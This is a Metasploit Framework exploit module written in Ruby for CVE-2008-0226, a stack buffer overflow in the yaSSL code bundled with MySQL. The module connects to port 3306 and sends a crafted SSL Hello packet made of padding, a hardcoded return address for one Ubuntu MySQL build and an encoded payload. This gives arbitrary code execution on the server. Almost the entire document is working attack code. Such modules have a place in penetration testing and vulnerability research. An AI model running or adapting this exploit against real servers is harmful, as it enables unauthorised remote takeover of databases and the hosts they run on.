MySQL yaSSL SSL Hello Message Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the yaSSL (1.7.5 and earlier)  
implementation bundled with MySQL <= 6.0. By sending a specially crafted  
Hello packet, an attacker may be able to execute arbitrary code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2008-0226' ],  
[ 'OSVDB', '41195' ],  
[ 'BID', '27140' ],  
  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 100,  
'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
},  
'Platform' => 'linux',  
'Targets' =>   
[  
[ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ],   
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 4 2008'))  
  
register_options([ Opt::RPORT(3306)], self.class)  
end  
  
def exploit  
connect  
  
sock.get_once  
  
req_uno = [0x01000020].pack('V')  
  
req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V')  
req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')  
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')  
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')  
req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')  
req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965)  
req_dos << [target.ret].pack('V') + payload.encoded  
req_dos << rand_text_alphanumeric(1024)  
  
print_status("Trying target #{target.name}...")  
  
sock.put(req_uno)  
sock.put(req_dos)  
  
handler  
disconnect  
end  
  
end  
  
`